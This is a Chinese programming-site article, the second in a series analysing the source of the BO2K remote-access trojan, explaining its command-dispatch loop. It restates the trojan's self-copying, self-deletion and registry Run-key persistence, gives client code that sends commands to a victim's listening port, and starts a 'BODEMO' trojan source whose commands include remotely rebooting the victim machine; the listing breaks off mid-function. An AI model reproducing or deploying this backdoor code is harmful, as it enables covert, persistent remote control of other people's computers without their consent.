用户登录  |  用户注册
首 页商业源码原创产品编程论坛
当前位置:PB创新网文章中心编程技巧Visual C++

BO2k源码分析(二)----命令循环机制

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2009-03-16 20:29:47

BO2K服务器命令循环机制原理
上期讲到BO2K服务器特洛伊木马的实现原理,即首先建立自身拷贝版,以自身全路径名为参数启动拷贝版,自身结束。拷贝版运行时首先删除原来的程序(根据传进来的参数删)。而后检查注册表,如果还没注册则注册拷贝版程序为系统启动时自启动。特洛伊木马过程完成。
 之后,接着初始化命令数组,建立侦听端口,进入命令循环。(这些都是Entrypoint()函数的工作)。这一期再来讲命令循环机制。
 注1:这一期的BODEMO有完整的特洛伊木马实现,还有一个完整的命令循环。不过,只做了两个命令,0号命令和1号命令。但对于演示命令循环原理我想是够了。0号命令会使服务器端机器重启动(已具黑客雏形了),1号命令会在服务器端机器弹出个MessageBox。
 注2:关于BODEMO的编译,任何WINDOWS的C编译器都能很容易的编译通过,无须任何设置,不过注意连上链接库wsock32.lib。如果用VC,创建一纯空的WIN32  APP,将下面所附代码粘贴过去即可。如果用LCC,编译结果只有10K大小。
  注3:这个BODEMO去掉了错误检查代码,因此离实用差了一大截。拿出来仅供学习用,希望诸君打好基础共同发展中国软件业。若有什么问题,mail 
to:saiwai76@263.net

 话入正题,Entrypoint()执行过程如下:
1 初始化命令数组(command_handler_table),即分配一块内存存放命令,缺省情况最多可有1024个命令,初始化命令为NULL。
 每个命令的结构是这样的:命令ID号,一个函数指针,若干参数。因此,BO大体是这样执行的:侦听端口,接收客户数据包,从数据包中提取出命令ID和参数,根据ID到命令数组查找命令,执行命令指针所指函数,并向客户返回结果信息。BODEMO基本上就是这样的。不过,实际的BO2K中同时支持UDP和TCP,并支持数据包加密。因此,比这个过程复杂得多。下期的BO网络原理中我再来讲这些。
2 注册命令(RegisterNativeCommands()),这一步建立一个侦听SOCKET,登记命令函数到命令数组。BODEMO只登记了两个命令函数,仅作演示。有兴趣者可自己再写些命令函数。
3 进入命令循环(CommandHandlerLoop()),这一步侦听客户控制命令,分派命令。在BODEMO中,如果接收到0,则执行0号命令(重起机器),如果接收到1,则执行1号命令(空MessageBox())。
请注意这段代码中动态调整进程优先级,这和MFC之CWinThread::Run()有异曲同工之妙。

在客户端用如下一段代码即可给BODEMO发命令。
 SOCKET ss;
 ss = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in  sa;  memset(&sa, 0, sizeof(struct sockaddr_in));
 sa.sin_family= AF_INET; sa.sin_port= htons(54321);
 sa.sin_addr.S_un.S_addr= inet_addr("xxx.xxx.xxx.xxx");  /*Server’s IP  address*/
 int ret = connect(ss,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in));
 if(SOCKET_ERROR == ret)
 {  closesocket(ss); return ;  }
 int boPacket[10];
 boPacket[0] = 1;  /*Command ID, 0  or  1. */
 send(ss,(char *)boPacket,sizeof(int)*10,MSG_OOB);


附BODEMO源码:
//
#include <windows.h>
#include<winsock.h>

/******************global variable*******************************/
BOOL g_bIsWinNT;
/******************global variable*******************************/
void GetOSVersion(void);
int InitializeCommandDispatcher(void);
void InitializeCommands(void);
void TerminateCommands(void);
int KillCommandDispatcher(void);
void CommandHandlerLoop(void);

DWORD WINAPI EntryPoint(LPVOID lpParameter)
{
 InitializeCommandDispatcher();
   //Alloc memory for command_handler_table and
    //command_description_table
   //Initialize them as NULL 

 // Initialize commands
 InitializeCommands();

 // Do Primary Command Loop
 CommandHandlerLoop();
  
 // Kill plugins
 TerminateCommands();

 // Kill Command Dispatcher
 //Delete command_table memory
 KillCommandDispatcher();

 return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow )
{
 GetOSVersion(); 

 int nInstall=0;
 char *svRunRegKey;
 svRunRegKey="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
  
 // Check for file to delete
 //第一次运行BO2K时,BO会以自身全路径名作为参数启动BO拷贝版
 //BO拷贝版根据这个参数删除BO自身。
 //这段代码只有一次运行机会。
 char *svCmdLine=GetCommandLine();
 while(svCmdLine[0]!='

Tags:

作者:佚名
  • 好的评价 如果您觉得此文章好,就请您
      0%(0)
  • 差的评价 如果您觉得此文章差,就请您
      0%(0)

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
PB创新网ourmis.com】Copyright © 2000-2009 . All Rights Reserved .
页面执行时间:31,656.25000 毫秒
Email:ourmis@126.com QQ:2322888 蜀ICP备05006790号